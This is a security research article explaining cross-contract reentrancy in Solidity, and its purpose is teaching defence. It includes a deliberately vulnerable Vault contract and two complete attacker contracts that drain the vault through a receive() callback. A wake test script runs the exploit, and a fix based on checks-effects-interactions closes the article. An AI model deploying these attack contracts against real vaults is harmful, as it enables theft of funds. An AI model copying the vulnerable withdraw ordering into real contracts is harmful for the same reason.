This research article reviews how cross contract reentrancy attacks work, an attack example, and guidance on how to prevent cross contract reentrancy attacks.

Previously, we covered single function reentrancy attacks and cross function reentrancy attacks. Those previous vulnerabilities were trivial to find since we need only check that updating the value with an external call should not use a different value or update that value.

What is a cross contract reentrancy attack?

Cross contract reentrancy attacks use different smart contracts to exploit a vulnerability. The code in cross contract reentrancy attacks is more complex since it uses different contracts, and thus, we should search how value is updated in those contracts. Moreover, ReentrancyGuard can not prevent these types of attacks.

Cross contract reentrancy attack example

This is an example contract of vulnerable to the cross contract reentrancy.

There is a CCRToken contract and a Vault contract. CCRToken is a custom token of ERC20. and Vault does swapping between ETH and CCRTokenVault stores ETH.

As you can see in the Vault contract all of the functions that the user callable function has nonReentrancy.

So it is unable to do single function reentrancy. Also, there is no transfer function for the cross function reentrancy in the Vault contract. However similar to the transfer function is located at the CCRToken contract.

This is the token contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract CCRToken is ERC20, Ownable {

    // (manager i.e. victim) is trusted, so only they can mint and burn token
    constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager) {}

    // Only manager mint token 
    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
    // Burn token
    function burn(address from, uint256 amount) external onlyOwner {
        _burn(from, amount);
    }
}

This is the vulnerable vault contract.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";


contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }   

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); //eth to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
    * it uses other contracts and it has different features from just variables.
    */
    function  withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: balance}(""); 
        // attacker calls transfer CCRT balance to another account in the callback function.
        require(success, "Failed to send Ether"); 

        burnUser();
    }
}

The idea of attack is similar to the cross function reentrancy attack. The attacker does withdraw and it has an external function call, and here, even if all external functions in this contract have non-reentrant, we can call the transfer function, since it is in the CCRToken contract.

Example attack steps

The attack is done in the attack function. After calling the attack function.

  1. call the deposit in the Vault contract to prepare for the attack.
  2. call the withdraw in the Vault contract, it calls an external call to the attacker, and it calls the receive function.
  3. In the receive function, the attacker calls transfer in the Token contract and transfers the ERC20 value to the Attacker2.
  4. So now, the sum of the amount that Attacker balance and Attacker2 in Token are multiple.
  5. call attacker2.send to send the Token value from Attacker2 to Attacker

And we can repeat those steps until drain the vault.

Attacker Contract

This is the attack contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./vault.sol";


contract Attacker1 {
    Vault victim;
    CCRToken ccrt;
    Attacker2 attacker2;
    uint256 amount = 1 ether;

    /**
     * @param _victim victim address
     * @param _ccrt  victim token ERC20 address
     */ 
    constructor(address _victim, address _ccrt) payable {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);  
    }

    /**
     * @notice Set attacker2 contract
     * @param _attacker2  attacker colleague address
     */
    function setattacker2(address _attacker2) public {
        attacker2 = Attacker2(_attacker2);
    }

    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. 
     * Because burn balance of attacker1 after this function.
     * @dev triggered by victim.withdraw()
     */
    receive() external payable {
        ccrt.transfer(address(attacker2), msg.value); 
    }

    /**
     * @notice deposit and we can repeatedly withdraw.
     */
    function attack() public {
        uint256 value = address(this).balance;
        victim.deposit{value: value}();
        while(address(victim).balance >= amount){
            victim.withdraw();
            attacker2.send(address(this), value); //send ERC20 token that multiplied at recieve().
        }    
    }
}


contract Attacker2 {
    Vault victim;
    CCRToken ccrt;
    uint256 amount = 1 ether;

    constructor(address _victim, address _ccrt) {
        victim = Vault(_victim);
        ccrt = CCRToken(_ccrt);
    }

    /**
     * @notice Just send ERC20 to the attacker
     */
    function send(address _target, uint256 _amount) public {
        ccrt.transfer(_target, _amount);
    }
}

Exploit example of a cross-contract reentrancy attack

It went more complex than the previous example but those are for the deployment of contracts and the most important step is in the attack function call.

It does deploy vault and token and set those addresses.

Similarly, initialize attackers. and call the attack function in the attacker.

from wake.testing import *

from pytypes.contracts.crosscontractreentrancy.token import  CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault

from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Contract Reentrancy---------------------")
    victim = default_chain.accounts[0]
    attacker = default_chain.accounts[1]
    
    vault = Vault.deploy(from_=victim)
    token = CCRToken.deploy( vault.address ,from_=victim)
    vault.setToken(token.address)
    vault.deposit(from_=victim, value="4 ether")

    attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
    attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance  : ", vault.balance)
    print("Attacker balace: ", attacker_contract.balance)
    print("----------Attack----------")

    tx = attacker_contract.attack(from_=attacker)
    print(tx.call_trace)

    print("Vault balance   : ", vault.balance)
    print("Attacker balance: ", attacker_contract.balance)

This is the output of wake. We can see the Vault balance changed from 4 EHT to 0 ETH. Attacker balance changed 1 ETH to 5 ETH.

How to prevent a cross-contract reentrancy attack

ReentrancyGuard

The simple reentrancy guard can not prevent this attack.

CEI (checks-effects-interactions)

This is a straightforward solution as it eliminates the possibility of a reentrancy attack. This is the best way to prevent reentrancy attacks.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";


contract Vault is ReentrancyGuard, Ownable {
    CCRToken public customToken;

    constructor() Ownable(msg.sender) {}

    function setToken(address _customToken) external onlyOwner {
        customToken = CCRToken(_customToken);
    }   

    function deposit() external payable nonReentrant {
        customToken.mint(msg.sender, msg.value); //eth to CCRT
    }

    function burnUser() internal {
        customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
    }

    /**
    * @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
    * it uses other contracts and it has different features from just variables.
    */
    function  withdraw() external nonReentrant {
        uint256 balance = customToken.balanceOf(msg.sender);
        require(balance > 0, "Insufficient balance");
        burnUser();
        (bool success, ) = msg.sender.call{value: balance}(""); 
        require(success, "Failed to send Ether"); 
    }
}

Conclusion

The main issue of cross-contract reentrancy is the ReentrancyGuard does not work. However, the issue is always the same where it should not use data that is in the middle of the function. If there are multiple contracts, the entrance state is stored differently. If it removed this issue then the attack would stop.

We have a Reentrancy Examples Github Repository with several other types of reentrancy attacks, including attack examples, protocol-specific reentrancies, and prevention methods.